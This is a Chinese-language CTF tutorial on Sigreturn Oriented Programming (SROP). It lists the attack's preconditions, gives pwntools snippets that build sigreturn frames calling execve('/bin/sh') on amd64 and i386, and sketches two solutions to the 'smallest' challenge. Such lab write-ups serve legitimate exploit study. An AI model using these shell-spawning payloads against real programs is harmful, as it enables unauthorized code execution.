基础知识

Sigreturn Oriented Programming (SROP) Attack攻击原理
Sigreturn Oriented Programming攻击简介

SROP利用条件总结:

  1. 有一个bof可以控制栈上的内容
  2. 没有开canary
  3. 可以找到sigreturn的地址(或eax可控,可以找到syscall;ret的地址)
  4. 可以找到syscall的地址

SROP构造frame时,eax为系统调用号,eip为syscall的地址。根据elf arch设置rdi rsi rdx ecx r8 r9参数 或者 ebx ecx edx。esp可以设置可以不设置。 参考pwnlib.rop.srop模块。
比如:

# amd64
	context(os='linux', arch='amd64')
 	frame_execve = SigreturnFrame(kernel='amd64')
	frame_execve.rax = constants.linux.amd64.SYS_execve# 10
	frame_execve.rdi = rsp2 + 0x98 # rcx 
	frame_execve.rsi = 0
	frame_execve.rdx = 0
	frame_execve.rcx = 0x68732f6e69622f #/bin/sh
	frame_execve.rsp = rsp2
	frame_execve.rip = syscallret_addr
	payload3 = p64(start_addr) + 'D'*8 + str(frame_execve)
	sd(payload3)
	log.info('finish arrange context frame and return to 0x4000B0')
# i386
	context(os='linux', arch='i386')
	frame = SigreturnFrame(kernel='i386')
	frame.eax = constants.SYS_execve
	frame.ebx = stack_addr - 0x4 
	frame.ecx = 0
	frame.edx = 0
	frame.esp = stack_addr + 0x14 + 0x4 + 0x14 + 0x4 #0xdeadbeaf #stack_addr + 0x14 + 0x8
	frame.eip = syscall_addr

	ru("Let's start the CTF:")
	payload3 = ...  p32(sigreturn_addr) + p32(syscall_addr) + str(frame)

关于sigreturn和syscall的地址寻找也是利用的核心。
在i386 上 syscall和sigreturn可以在vdso中找到,因此需要有vdso的基址。
在amd64上,可以在vsyscall固定地址 0xffffffffff600000中找到,x/3i 0xffffffffff600000查看。
当然也可以用ROPgadget寻找,其它的寻找方式见基础知识链接,不一一总结了。

需要注意的是,sigreturn的功能仅仅是恢复frame中的内容到寄存器。
call sigreturn时,esp肯定是指向frame之前的地址的第一个字节(首位的一些字节被覆盖也没事)。
sigreturn_addr + str(frame)

如果是利用eax和syscall来完成sigreturn的功能。对于amd64,sys_rt_sigreturn的系统调用号rax为0xf,可以先利用一次bof把frame布置在栈上,再控制eax为0xf来完成利用。对于i386,sys_sigreturn的系统调用号eax为0x77(119),可以同时布置frame和控制eax来完成利用。

smallest

smallest

题目很简单,仅仅调用了read的syscall,开了NX。看到题目中存在syscall;retn,并且可以通过read来设置rax的值。对于SROP来说,最核心的syscall和sigreturn的地址已经解决了。

两个思路
1.srop 实现syscall mprotect + 读入shellcode执行
首先利用bof布置srop mprotect的frame,利用rop回到程序起始位置。根据read函数,控制rax的值来调用syscall实现sigreturn,完成mprotect功能(利用syscall;retn和rsp实现syscall chain返回程序起始位置)。再读入shellcode执行即可。

2.srop 实现syscall mprotect + srop实现syscall execve
实现mprotect后,即可以在.text段可以布置'/bin/sh\x00',再利用一次srop即可。

附:exp